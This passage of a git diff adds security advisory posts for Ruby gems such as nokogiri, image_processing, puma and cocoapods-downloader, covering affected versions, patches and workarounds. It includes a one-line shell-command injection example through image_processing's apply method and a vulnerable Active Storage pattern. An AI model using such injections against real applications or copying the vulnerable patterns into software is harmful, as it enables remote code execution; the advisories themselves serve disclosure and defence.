+    - https://github.com/mislav/hub/releases/tag/v1.12.1
+    - https://www.suse.com/zh-cn/security/cve/CVE-2014-0177.html
+    - https://github.com/github/hub/commit/016ec99d25b1cb83cb4367e541177aa431beb600
+    - https://github.com/advisories/GHSA-x5m6-jh4r-34mv
+---
diff --git a/advisories/_posts/2022-02-21-CVE-2021-30560.md b/advisories/_posts/2022-02-21-CVE-2021-30560.md
new file mode 100644
index 00000000..5a73781b
--- /dev/null
+++ b/advisories/_posts/2022-02-21-CVE-2021-30560.md
@@ -0,0 +1,89 @@
+---
+layout: advisory
+title: 'CVE-2021-30560 (nokogiri): Update packaged libxml2 (2.9.12 → 2.9.13) and libxslt
+  (1.1.34 → 1.1.35)'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2021-30560
+  ghsa: fq42-c5rg-92c2
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-fq42-c5rg-92c2
+  date: 2022-02-21
+  title: Update packaged libxml2 (2.9.12 → 2.9.13) and libxslt (1.1.34 → 1.1.35)
+  description: |
+    ## Summary
+
+    Nokogiri v1.13.2 upgrades two of its packaged dependencies:
+
+    * vendored libxml2 from v2.9.12 to v2.9.13
+    * vendored libxslt from v1.1.34 to v1.1.35
+
+    Those library versions address the following upstream CVEs:
+
+    * libxslt: CVE-2021-30560 (CVSS 8.8, High severity)
+    * libxml2: CVE-2022-23308 (Unspecified severity, see more information below)
+
+    Those library versions also address numerous other issues including performance
+    improvements, regression fixes, and bug fixes, as well as memory leaks and other
+    use-after-free issues that were not assigned CVEs.
+
+    Please note that this advisory only applies to the CRuby implementation of
+    Nokogiri < 1.13.2, and only if the packaged libraries are being used. If you've
+    overridden defaults at installation time to use system libraries instead of
+    packaged libraries, you should instead pay attention to your distro's `libxml2`
+    and `libxslt` release announcements.
+
+    ## Mitigation
+
+    Upgrade to Nokogiri >= 1.13.2.
+
+    Users who are unable to upgrade Nokogiri may also choose a more complicated
+    mitigation: compile and link an older version Nokogiri against external libraries
+    libxml2 >= 2.9.13 and libxslt >= 1.1.35, which will also address these same CVEs.
+
+    ## Impact
+
+    * libxslt CVE-2021-30560
+    * CVSS3 score: 8.8 (High)
+
+    Fixed by https://gitlab.gnome.org/GNOME/libxslt/-/commit/50f9c9c
+
+    All versions of libxslt prior to v1.1.35 are affected.
+
+    Applications using untrusted XSL stylesheets to transform XML are vulnerable to
+    a denial-of-service attack and should be upgraded immediately.
+
+    libxml2 CVE-2022-23308
+    * As of the time this security advisory was published, there is no officially
+    published information available about this CVE's severity. The above NIST link
+    does not yet have a published record, and the libxml2 maintainer has declined
+    to provide a severity score.
+    * Fixed by https://gitlab.gnome.org/GNOME/libxml2/-/commit/652dd12
+    * Further explanation is at https://mail.gnome.org/archives/xml/2022-February/msg00015.html
+
+    The upstream commit and the explanation linked above indicate that an application
+    may be vulnerable to a denial of service, memory disclosure, or code execution if
+    it parses an untrusted document with parse options `DTDVALID` set to true, and `NOENT`
+    set to false.
+
+    An analysis of these parse options:
+
+    * While `NOENT` is off by default for Document, DocumentFragment, Reader, and
+    Schema parsing, it is on by default for XSLT (stylesheet) parsing in Nokogiri
+    v1.12.0 and later.
+    * `DTDVALID` is an option that Nokogiri does not set for any operations, and so
+    this CVE applies only to applications setting this option explicitly.
+
+    It seems reasonable to assume that any application explicitly setting the parse
+    option `DTDVALID` when parsing untrusted documents is vulnerable and should be
+    upgraded immediately.
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 1.13.2"
+  related:
+    cve:
+    - 2021-30560
+    - 2022-23308
+---
diff --git a/advisories/_posts/2022-03-01-CVE-2022-24720.md b/advisories/_posts/2022-03-01-CVE-2022-24720.md
new file mode 100644
index 00000000..29bed7de
--- /dev/null
+++ b/advisories/_posts/2022-03-01-CVE-2022-24720.md
@@ -0,0 +1,48 @@
+---
+layout: advisory
+title: 'CVE-2022-24720 (image_processing): Remote shell execution vulnerability when
+  applying commands from user input'
+comments: false
+categories:
+- image_processing
+advisory:
+  gem: image_processing
+  cve: 2022-24720
+  ghsa: cxf7-qrc5-9446
+  url: https://github.com/janko/image_processing/security/advisories/GHSA-cxf7-qrc5-9446
+  title: Remote shell execution vulnerability when applying commands from user input
+  date: 2022-03-01
+  description: |
+    ### Impact
+
+    When using the `#apply` method from image_processing to apply a series of operations that are coming from unsanitized user input, this allows the attacker to execute shell commands:
+
+    ```rb
+    ImageProcessing::Vips.apply({ system: "echo EXECUTED" })
+    #>> EXECUTED
+    ```
+
+    This method is called internally by Active Storage variants, so Active Storage is vulnerable as well.
+
+    ### Patches
+
+    The vulnerability has been fixed in version 1.12.2 of image_processing.
+
+    ### Workarounds
+
+    If you're processing based on user input, it's highly recommended that you always sanitize the user input, by allowing only a constrained set of operations. For example:
+
+    ```rb
+    operations = params[:operations]
+      .map { |operation| [operation[:name], *operation[:value]] }
+      .select { |name, *| name.to_s.include? %w[resize_to_limit strip ...] } # sanitization
+
+    ImageProcessing::Vips.apply(operations)
+    ```
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.12.2"
+  related:
+    url:
+    - https://github.com/janko/image_processing/commit/038e4574e8f4f4b636a62394e09983c71980dada
+---
diff --git a/advisories/_posts/2022-03-02-CVE-2022-24722.md b/advisories/_posts/2022-03-02-CVE-2022-24722.md
new file mode 100644
index 00000000..eb9ecb10
--- /dev/null
+++ b/advisories/_posts/2022-03-02-CVE-2022-24722.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2022-24722 (view_component): XSS via `translate` method of `ViewComponent::Translatable`
+  in view_component gem'
+comments: false
+categories:
+- view_component
+advisory:
+  gem: view_component
+  cve: 2022-24722
+  ghsa: cm9w-c4rj-r2cf
+  url: https://github.com/github/view_component/security/advisories/GHSA-cm9w-c4rj-r2cf
+  title: XSS via `translate` method of `ViewComponent::Translatable` in view_component
+    gem
+  date: 2022-03-02
+  description: |
+    This is an XSS vulnerability that has the potential to impact anyone using
+    translations with the view_component gem. Data received via user input and
+    passed as an interpolation argument to the `translate` method is not properly
+    sanitized before display.
+
+    Versions 2.31.2 and 2.49.1 have been released and fully mitigate the vulnerability.
+
+    Avoid passing user input to the `translate` function, or sanitize the inputs
+    before passing them.
+  cvss_v3: 8.1
+  unaffected_versions:
+  - "< 2.31.0"
+  patched_versions:
+  - ">= 2.49.1"
+  - "~> 2.31.2"
+  related:
+    url:
+    - https://github.com/github/view_component/commit/3f82a6e62578ff6f361aba24a1feb2caccf83ff9
+---
diff --git a/advisories/_posts/2022-03-03-CVE-2024-22051.md b/advisories/_posts/2022-03-03-CVE-2024-22051.md
new file mode 100644
index 00000000..7a1c7492
--- /dev/null
+++ b/advisories/_posts/2022-03-03-CVE-2024-22051.md
@@ -0,0 +1,67 @@
+---
+layout: advisory
+title: 'CVE-2024-22051 (commonmarker): Integer overflow in cmark-gfm table parsing
+  extension leads to heap memory corruption'
+comments: false
+categories:
+- commonmarker
+advisory:
+  gem: commonmarker
+  cve: 2024-22051
+  ghsa: fmx4-26r3-wxpf
+  url: https://github.com/github/cmark-gfm/security/advisories/GHSA-mc3g-88wq-6f4x
+  title: Integer overflow in cmark-gfm table parsing extension leads to heap memory
+    corruption
+  date: 2022-03-03
+  description: |2
+
+    ### Impact
+
+    CommonMarker uses `cmark-gfm` for rendering
+    [Github Flavored Markdown](https://github.github.com/gfm/).
+    An [integer overflow in `cmark-gfm`'s table row parsing](https://github.com/github/cmark-gfm/security/advisories/GHSA-mc3g-88wq-6f4x)
+    may lead to heap memory corruption when parsing tables who's marker
+    rows contain more than UINT16_MAX columns. The impact of this heap
+    corruption ranges from Information Leak to Arbitrary Code Execution.
+
+    If affected versions of CommonMarker are used for rendering remote
+    user controlled markdown, this vulnerability may lead to
+    Remote Code Execution (RCE).
+
+    ### Patches
+
+    This vulnerability has been patched in the following CommonMarker release:
+
+    - v0.23.4
+
+    ### Workarounds
+
+    The vulnerability exists in the table markdown extensions of
+    `cmark-gfm`. Disabling any use of the table extension will prevent
+    this vulnerability from being triggered.
+
+    ### References
+
+    - https://github.com/github/cmark-gfm/security/advisories/GHSA-mc3g-88wq-6f4x
+
+    ### Acknowledgements
+
+    We would like to thank Felix Wilhelm of Google's Project Zero
+    for reporting this vulnerability
+
+    ### For more information
+
+    If you have any questions or comments about this advisory:
+
+    * Open an issue in [CommonMarker](http://github.com/gjtorikian/commonmarker)
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 0.23.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-22051
+    - https://github.com/github/cmark-gfm/security/advisories/GHSA-mc3g-88wq-6f4x
+    - https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-fmx4-26r3-wxpf
+    - https://github.com/gjtorikian/commonmarker/commit/ab4504fd17460627a6ab255bc3c63e8e5fc6aed3
+    - https://github.com/advisories/GHSA-fmx4-26r3-wxpf
+---
diff --git a/advisories/_posts/2022-03-03-GHSA-fmx4-26r3-wxpf.md b/advisories/_posts/2022-03-03-GHSA-fmx4-26r3-wxpf.md
new file mode 100644
index 00000000..f169fa9f
--- /dev/null
+++ b/advisories/_posts/2022-03-03-GHSA-fmx4-26r3-wxpf.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'GHSA-fmx4-26r3-wxpf (commonmarker): Integer overflow in cmark-gfm table parsing
+  extension leads to heap memory corruption'
+comments: false
+categories:
+- commonmarker
+advisory:
+  gem: commonmarker
+  ghsa: fmx4-26r3-wxpf
+  url: https://github.com/github/cmark-gfm/security/advisories/GHSA-mc3g-88wq-6f4x
+  title: Integer overflow in cmark-gfm table parsing extension leads to heap memory
+    corruption
+  date: 2022-03-03
+  description: |
+    ### Impact
+
+    CommonMarker uses `cmark-gfm` for rendering [Github Flavored Markdown](https://github.github.com/gfm/).
+    An [integer overflow in `cmark-gfm`'s table row parsing](https://github.com/github/cmark-gfm/security/advisories/GHSA-mc3g-88wq-6f4x)
+    may lead to heap memory corruption when parsing tables who's marker rows contain more than UINT16_MAX
+    columns. The impact of this heap corruption ranges from Information Leak to Arbitrary Code Execution.
+
+    If affected versions of CommonMarker are used for rendering remote user controlled markdown, this
+    vulnerability may lead to Remote Code Execution (RCE).
+
+    ### Patches
+
+    This vulnerability has been patched in the following CommonMarker release:
+
+    - v0.23.4
+
+    ### Workarounds
+
+    The vulnerability exists in the table markdown extensions of `cmark-gfm`. Disabling any use of the
+    table extension will prevent this vulnerability from being triggered.
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 0.23.4"
+  related:
+    ghsa:
+    - mc3g-88wq-6f4x
+    url:
+    - https://github.com/gjtorikian/commonmarker/commit/ab4504fd17460627a6ab255bc3c63e8e5fc6aed3
+---
diff --git a/advisories/_posts/2022-03-08-CVE-2022-21831.md b/advisories/_posts/2022-03-08-CVE-2022-21831.md
new file mode 100644
index 00000000..68b0b9c0
--- /dev/null
+++ b/advisories/_posts/2022-03-08-CVE-2022-21831.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'CVE-2022-21831 (activestorage): Possible code injection vulnerability in Rails
+  / Active Storage'
+comments: false
+categories:
+- activestorage
+- rails
+advisory:
+  gem: activestorage
+  framework: rails
+  cve: 2022-21831
+  ghsa: w749-p3v6-hccq
+  url: https://groups.google.com/g/rubyonrails-security/c/n-p-W1yxatI
+  title: Possible code injection vulnerability in Rails / Active Storage
+  date: 2022-03-08
+  description: |
+    There is a possible code injection vulnerability in the Active Storage module
+    of Rails. This vulnerability has been assigned the CVE identifier
+    CVE-2022-21831.
+
+    Versions Affected:  >= 5.2.0
+    Not affected:       < 5.2.0
+    Fixed Versions:     7.0.2.3, 6.1.4.7, 6.0.4.7, 5.2.6.3
+
+    Impact
+    ------
+    There is a possible code injection vulnerability in the Active Storage module
+    of Rails.  This vulnerability impacts applications that use Active Storage
+    with the image_processing processing in addition to the mini_magick back end
+    for image_processing.
+
+    Vulnerable code will look something similar to this:
+
+    ```ruby
+    <%= image_tag blob.variant(params[:t] => params[:v]) %>
+    ```
+
+    Where the transformation method or its arguments are untrusted arbitrary
+    input.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Workarounds
+    -----------
+    To work around this issue, applications should implement a strict allow-list
+    on accepted transformation methods or arguments.  Additionally, a strict image
+    magick security policy will help mitigate this issue.
+
+      https://imagemagick.org/script/security-policy.php
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 5.2.0"
+  patched_versions:
+  - "~> 5.2.6, >= 5.2.6.3"
+  - "~> 6.0.4, >= 6.0.4.7"
+  - "~> 6.1.4, >= 6.1.4.7"
+  - ">= 7.0.2.3"
+---
diff --git a/advisories/_posts/2022-03-24-CVE-2021-3589.md b/advisories/_posts/2022-03-24-CVE-2021-3589.md
new file mode 100644
index 00000000..a88e0457
--- /dev/null
+++ b/advisories/_posts/2022-03-24-CVE-2021-3589.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2021-3589 (foreman_ansible): Missing Authentication for Critical Function
+  in Foreman Ansible'
+comments: false
+categories:
+- foreman_ansible
+advisory:
+  gem: foreman_ansible
+  cve: 2021-3589
+  ghsa: vvff-6wrr-4g7q
+  url: https://access.redhat.com/security/cve/CVE-2021-3589
+  title: Missing Authentication for Critical Function in Foreman Ansible
+  date: 2022-03-24
+  description: |
+    An authorization flaw was found in Foreman Ansible. An authenticated attacker
+    with certain permissions to create and run Ansible jobs can access hosts
+    through job templates. The highest threat from this vulnerability is to data
+    confidentiality and integrity as well as system availability.
+  cvss_v3: 9.9
+  patched_versions:
+  - ">= 2.0.0"
+  related:
+    url:
+    - https://bugzilla.redhat.com/show_bug.cgi?id=1969265
+    - https://github.com/theforeman/foreman_ansible/commit/a5e0827bc3ec6c8ab82f968907857a15646305d5
+---
diff --git a/advisories/_posts/2022-03-26-CVE-2022-0759.md b/advisories/_posts/2022-03-26-CVE-2022-0759.md
new file mode 100644
index 00000000..fa8c6fc2
--- /dev/null
+++ b/advisories/_posts/2022-03-26-CVE-2022-0759.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2022-0759 (kubeclient): Improper Certificate Validation in kubeclient'
+comments: false
+categories:
+- kubeclient
+advisory:
+  gem: kubeclient
+  cve: 2022-0759
+  ghsa: 69p3-xp37-f692
+  url: https://github.com/ManageIQ/kubeclient/issues/554
+  title: Improper Certificate Validation in kubeclient
+  date: 2022-03-26
+  description: |
+    A flaw was found in all versions of kubeclient up to (but not including)
+    v4.9.3, the Ruby client for Kubernetes REST API, in the way it parsed kubeconfig
+    files. When the kubeconfig file does not configure custom CA to verify certs, kubeclient
+    ends up accepting any certificate (it wrongly returns VERIFY_NONE). Ruby applications
+    that leverage kubeclient to parse kubeconfig files are susceptible to Man-in-the-middle
+    attacks (MITM).
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 4.9.3"
+  related:
+    url:
+    - https://github.com/ManageIQ/kubeclient/issues/555
+    - https://github.com/ManageIQ/kubeclient/pull/556
+---
diff --git a/advisories/_posts/2022-03-30-CVE-2022-24790.md b/advisories/_posts/2022-03-30-CVE-2022-24790.md
new file mode 100644
index 00000000..88841476
--- /dev/null
+++ b/advisories/_posts/2022-03-30-CVE-2022-24790.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'CVE-2022-24790 (puma): HTTP Request Smuggling in puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2022-24790
+  ghsa: h99w-9q5r-gjq9
+  url: https://github.com/puma/puma/security/advisories/GHSA-h99w-9q5r-gjq9
+  title: HTTP Request Smuggling in puma
+  date: 2022-03-30
+  description: |
+    ### Impact
+
+    When using Puma behind a proxy that does not properly validate that the
+    incoming HTTP request matches the RFC7230 standard, Puma and the frontend
+    proxy may disagree on where a request starts and ends. This would allow
+    requests to be smuggled via the front-end proxy to Puma.
+
+    The following vulnerabilities are addressed by this advisory:
+    - Lenient parsing of `Transfer-Encoding` headers, when unsupported encodings
+      should be rejected and the final encoding must be `chunked`.
+    - Lenient parsing of malformed `Content-Length` headers and chunk sizes, when
+      only digits and hex digits should be allowed.
+    - Lenient parsing of duplicate `Content-Length` headers, when they should be
+      rejected.
+    - Lenient parsing of the ending of chunked segments, when they should end
+      with `\r\n`.
+
+    ### Patches
+
+    The vulnerability has been fixed in 5.6.4 and 4.3.12.
+
+    ### Workarounds
+
+    When deploying a proxy in front of Puma, turning on any and all functionality
+    to make sure that the request matches the RFC7230 standard.
+
+    These proxy servers are known to have "good" behavior re: this standard and
+    upgrading Puma may not be necessary. Users are encouraged to validate for
+    themselves.
+
+    - Nginx (latest)
+    - Apache (latest)
+    - Haproxy 2.5+
+    - Caddy (latest)
+    - Traefik (latest)
+
+    ### References
+
+    [HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
+  cvss_v3: 9.1
+  patched_versions:
+  - "~> 4.3.12"
+  - ">= 5.6.4"
+  related:
+    url:
+    - https://github.com/puma/puma/commit/5bb7d202e24dec00a898dca4aa11db391d7787a5
+---
diff --git a/advisories/_posts/2022-03-31-CVE-2022-24803.md b/advisories/_posts/2022-03-31-CVE-2022-24803.md
new file mode 100644
index 00000000..dfe851df
--- /dev/null
+++ b/advisories/_posts/2022-03-31-CVE-2022-24803.md
@@ -0,0 +1,57 @@
+---
+layout: advisory
+title: 'CVE-2022-24803 (asciidoctor-include-ext): Command Injection vulnerability
+  in asciidoctor-include-ext'
+comments: false
+categories:
+- asciidoctor-include-ext
+advisory:
+  gem: asciidoctor-include-ext
+  cve: 2022-24803
+  ghsa: v222-6mr4-qj29
+  url: https://github.com/jirutka/asciidoctor-include-ext/security/advisories/GHSA-v222-6mr4-qj29
+  title: Command Injection vulnerability in asciidoctor-include-ext
+  date: 2022-03-31
+  description: |
+    ### Impact
+
+    Applications using [Asciidoctor (Ruby)](https://github.com/asciidoctor/asciidoctor)
+    with [asciidoctor-include-ext](https://github.com/jirutka/asciidoctor-include-ext)
+    (prior to version 0.4.0), which render user-supplied input in AsciiDoc markup, may
+    allow an attacker to execute arbitrary system commands on the host operating system.
+    This attack is possible even when `allow-uri-read` is disabled!
+
+    ### Patches
+
+    The vulnerability has been fixed in commit c7ea001 (and further improved in cbaccf3),
+    which is included in version
+    [0.4.0](https://rubygems.org/gems/asciidoctor-include-ext/versions/0.4.0).
+
+    ### Workarounds
+
+    ```rb
+    require 'asciidoctor/include_ext'
+
+    class Asciidoctor::IncludeExt::IncludeProcessor
+      # Overrides superclass private method to mitigate Command Injection
+      # vulnerability in asciidoctor-include-ext <0.4.0.
+      def target_uri?(target)
+        target.downcase.start_with?('http://', 'https://') \
+          && URI.parse(target).is_a?(URI::HTTP)
+      rescue URI::InvalidURIError
+        false
+      end
+    end
+    ```
+
+    ### References
+
+    * https://sakurity.com/blog/2015/02/28/openuri.html
+  cvss_v3: 10.0
+  patched_versions:
+  - ">= 0.4.0"
+  related:
+    url:
+    - https://github.com/jirutka/asciidoctor-include-ext/commit/c7ea001a597c7033575342c51483dab7b87ae155
+    - https://github.com/jirutka/asciidoctor-include-ext/commit/cbaccf3de533cbca224bf61d0b74e4b84d41d8ee
+---
diff --git a/advisories/_posts/2022-04-02-CVE-2022-21223.md b/advisories/_posts/2022-04-02-CVE-2022-21223.md
new file mode 100644
index 00000000..10d22913
--- /dev/null
+++ b/advisories/_posts/2022-04-02-CVE-2022-21223.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2022-21223 (cocoapods-downloader): Command injection in cocoapods-downloader'
+comments: false
+categories:
+- cocoapods-downloader
+advisory:
+  gem: cocoapods-downloader
+  cve: 2022-21223
+  ghsa: g397-v4w5-4m79
+  url: https://github.com/CocoaPods/cocoapods-downloader/pull/127
+  title: Command injection in cocoapods-downloader
+  date: 2022-04-02
+  description: |
+    The package cocoapods-downloader before 1.6.2 are vulnerable to Command
+    Injection via hg argument injection. When calling the download function (when using
+    hg), the url (and/or revision, tag, branch) is passed to the hg clone command in
+    a way that additional flags can be set. The additional flags can be used to perform
+    a command injection.
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 1.6.2"
+---
diff --git a/advisories/_posts/2022-04-02-CVE-2022-24440.md b/advisories/_posts/2022-04-02-CVE-2022-24440.md
new file mode 100644
index 00000000..1e040cf7
--- /dev/null
+++ b/advisories/_posts/2022-04-02-CVE-2022-24440.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2022-24440 (cocoapods-downloader): Command injection in cocoapods-downloader'
+comments: false
+categories:
+- cocoapods-downloader
+advisory:
+  gem: cocoapods-downloader
+  cve: 2022-24440
+  ghsa: 7627-mp87-jf6q
+  url: https://github.com/CocoaPods/cocoapods-downloader/pull/124
+  title: Command injection in cocoapods-downloader
+  date: 2022-04-02
+  description: |
+    The package cocoapods-downloader before 1.6.0, from 1.6.2 and before
+    1.6.3 are vulnerable to Command Injection via git argument injection. When calling
+    the Pod::Downloader.preprocess_options function and using git, both the git and
+    branch parameters are passed to the git ls-remote subcommand in a way that additional
+    flags can be set. The additional flags can be used to perform a command injection.
+  cvss_v3: 8.1
+  unaffected_versions:
+  - ">= 1.6.0, < 1.6.2"
+  patched_versions:
+  - "= 1.6.0"
+  - ">= 1.6.3"
+  related:
+    url:
+    - https://github.com/CocoaPods/cocoapods-downloader/pull/128
+---
diff --git a/advisories/_posts/2022-04-05-CVE-2022-24795.md b/advisories/_posts/2022-04-05-CVE-2022-24795.md
new file mode 100644
index 00000000..bd74255c
--- /dev/null
+++ b/advisories/_posts/2022-04-05-CVE-2022-24795.md
@@ -0,0 +1,53 @@
+---
+layout: advisory
+title: 'CVE-2022-24795 (yajl-ruby): Reallocation bug can trigger heap memory corruption'
+comments: false
+categories:
+- yajl-ruby
+advisory:
+  gem: yajl-ruby
+  cve: 2022-24795
+  ghsa: jj47-x69x-mxrm
+  url: https://github.com/brianmario/yajl-ruby/security/advisories/GHSA-jj47-x69x-mxrm
+  title: Reallocation bug can trigger heap memory corruption
+  date: 2022-04-05
+  description: |
+    The 1.x branch and the 2.x branch of [yajl](https://github.com/lloyd/yajl)
+    contain an integer overflow which leads to subsequent heap memory corruption
+    when dealing with large (~2GB) inputs.
+
+    ### Details
+
+    The [reallocation logic at yajl_buf.c#L64](https://github.com/brianmario/yajl-ruby/blob/7168bd79b888900aa94523301126f968a93eb3a6/ext/yajl/yajl_buf.c#L64)
+    may result in the `need` 32bit integer wrapping to 0 when `need` approaches
+    a value of 0x80000000 (i.e. ~2GB of data), which results in a reallocation
+    of buf->alloc into a small heap chunk.
+
+    These integers are declared as `size_t` in the 2.x branch of `yajl`, which
+    practically prevents the issue from triggering on 64bit platforms, however
+    this does not preclude this issue triggering on 32bit builds on which
+    `size_t` is a 32bit integer.
+
+    Subsequent population of this under-allocated heap chunk is based on the
+    original buffer size, leading to heap memory corruption.
+
+    ### Impact
+
+    We rate this as a moderate severity vulnerability which mostly impacts
+    process availability as we believe exploitation for arbitrary code
+    execution to be unlikely.
+
+    ### Patches
+
+    Patched in yajl-ruby 1.4.2
+
+    ### Workarounds
+
+    Avoid passing large inputs to YAJL
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 1.4.2"
+  related:
+    url:
+    - https://github.com/brianmario/yajl-ruby/blob/7168bd79b888900aa94523301126f968a93eb3a6/ext/yajl/yajl_buf.c#L64
+---
diff --git a/advisories/_posts/2022-04-07-CVE-2021-43177.md b/advisories/_posts/2022-04-07-CVE-2021-43177.md
new file mode 100644
index 00000000..d6be1b58
--- /dev/null
+++ b/advisories/_posts/2022-04-07-CVE-2021-43177.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2021-43177 (devise-two-factor): Improper one time password handling in
+  devise-two-factor'
+comments: false
+categories:
+- devise-two-factor
+advisory:
+  gem: devise-two-factor
+  cve: 2021-43177
+  ghsa: jm35-h8q2-73mp
+  url: https://github.com/tinfoil/devise-two-factor/security/advisories/GHSA-jm35-h8q2-73mp
+  title: Improper one time password handling in devise-two-factor
+  date: 2022-04-07
+  description: |
+    ### Impact
+
+    As a result of an incomplete fix for CVE-2015-7225, in versions of
+    devise-two-factor prior to 4.0.2 it is possible to reuse a One-Time-Password
+    (OTP) for one (and only one) immediately trailing interval.
+
+    ### Patches
+
+    This vulnerability has been patched in version 4.0.2 which was released on
+    March 24th, 2022. Individuals using this package are strongly encouraged to
+    upgrade as soon as possible.
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 4.0.2"
+  related:
+    cve:
+    - 2015-7225
+    url:
+    - https://github.com/tinfoil/devise-two-factor/issues/106
+---
diff --git a/advisories/_posts/2022-04-11-CVE-2018-25032.md b/advisories/_posts/2022-04-11-CVE-2018-25032.md
new file mode 100644
index 00000000..19f10372
--- /dev/null
+++ b/advisories/_posts/2022-04-11-CVE-2018-25032.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'CVE-2018-25032 (nokogiri): Out-of-bounds Write in zlib affects Nokogiri'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2018-25032
+  ghsa: v6gp-9mmm-c6p5
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-v6gp-9mmm-c6p5
+  title: Out-of-bounds Write in zlib affects Nokogiri
+  date: 2022-04-11
+  description: |
+    ## Summary
+
+    Nokogiri v1.13.4 updates the vendored zlib from 1.2.11
+    to 1.2.12, which addresses [CVE-2018-25032](https://nvd.nist.gov/vuln/detail/CVE-2018-25032).
+    That CVE is scored as CVSS 7.4 "High" on the NVD record as of 2022-04-05.
+
+    Please note that this advisory only applies to the CRuby implementation of
+    Nokogiri `< 1.13.4`, and only if the packaged version of `zlib` is being used.
+    Please see [this document](https://nokogiri.org/LICENSE-DEPENDENCIES.html#default-platform-release-ruby)
+    for a complete description of which platform gems vendor `zlib`. If you've
+    overridden defaults at installation time to use system libraries instead of
+    packaged libraries, you should instead pay attention to your distro's `zlib`
+    release announcements.
+
+    ## Mitigation
+
+    Upgrade to Nokogiri `>= v1.13.4`.
+
+    ## Impact
+
+    ### [CVE-2018-25032](https://nvd.nist.gov/vuln/detail/CVE-2018-25032) in zlib
+
+    - **Severity**: High
+    - **Type**: [CWE-787](https://cwe.mitre.org/data/definitions/787.html)
+      Out of bounds write
+    - **Description**: zlib before 1.2.12 allows memory corruption when
+      deflating (i.e., when compressing) if the input has many distant matches.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.13.4"
+  related:
+    ghsa:
+    - jc36-42cf-vqwj
+    url:
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.13.4
+    - https://groups.google.com/g/ruby-security-ann/c/vX7qSjsvWis/m/TJWN4oOKBwAJ
+---
diff --git a/advisories/_posts/2022-04-11-CVE-2022-23437.md b/advisories/_posts/2022-04-11-CVE-2022-23437.md
new file mode 100644
index 00000000..1b3119c1
--- /dev/null
+++ b/advisories/_posts/2022-04-11-CVE-2022-23437.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'CVE-2022-23437 (nokogiri): XML Injection in Xerces Java affects Nokogiri'
+comments: false
+categories:
+- nokogiri
+- jruby
+advisory:
+  gem: nokogiri
+  platform: jruby
+  cve: 2022-23437
+  ghsa: xxx9-3xcr-gjj3
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xxx9-3xcr-gjj3
+  title: XML Injection in Xerces Java affects Nokogiri
+  date: 2022-04-11
+  description: |
+    ## Summary
+
+    Nokogiri v1.13.4 updates the vendored `xerces:xercesImpl` from 2.12.0 to
+    2.12.2, which addresses [CVE-2022-23437](https://nvd.nist.gov/vuln/detail/CVE-2022-23437).
+    That CVE is scored as CVSS 6.5 "Medium" on the NVD record.
+
+    Please note that this advisory only applies to the **JRuby** implementation
+    of Nokogiri `< 1.13.4`.
+
+    ## Mitigation
+
+    Upgrade to Nokogiri `>= v1.13.4`.
+
+    ## Impact
+
+    ### [CVE-2022-23437](https://nvd.nist.gov/vuln/detail/CVE-2022-23437) in xerces-J
+
+    - **Severity**: Medium
+    - **Type**: [CWE-91](https://cwe.mitre.org/data/definitions/91.html) XML Injection (aka Blind XPath Injection)
+    - **Description**: There's a vulnerability within the Apache Xerces Java
+      (XercesJ) XML parser when handling specially crafted XML document payloads.
+      This causes, the XercesJ XML parser to wait in an infinite loop, which may
+      sometimes consume system resources for prolonged duration. This vulnerability
+      is present within XercesJ version 2.12.1 and the previous versions.
+    - **See also**: https://github.com/advisories/GHSA-h65f-jvqw-m9fj
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 1.13.4"
+  related:
+    ghsa:
+    - h65f-jvqw-m9fj
+    url:
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.13.4
+    - https://groups.google.com/g/ruby-security-ann/c/vX7qSjsvWis/m/TJWN4oOKBwAJ
+---
diff --git a/advisories/_posts/2022-04-11-CVE-2022-24836.md b/advisories/_posts/2022-04-11-CVE-2022-24836.md
new file mode 100644
index 00000000..7fac9335
--- /dev/null
+++ b/advisories/_posts/2022-04-11-CVE-2022-24836.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2022-24836 (nokogiri): Inefficient Regular Expression Complexity in Nokogiri'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2022-24836
+  ghsa: crjr-9rc5-ghw8
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-crjr-9rc5-ghw8
+  title: Inefficient Regular Expression Complexity in Nokogiri
+  date: 2022-04-11
+  description: |
+    ## Summary
+
+    Nokogiri `< v1.13.4` contains an inefficient regular expression that is
+    susceptible to excessive backtracking when attempting to detect encoding
+    in HTML documents.
+
+    ## Mitigation
+
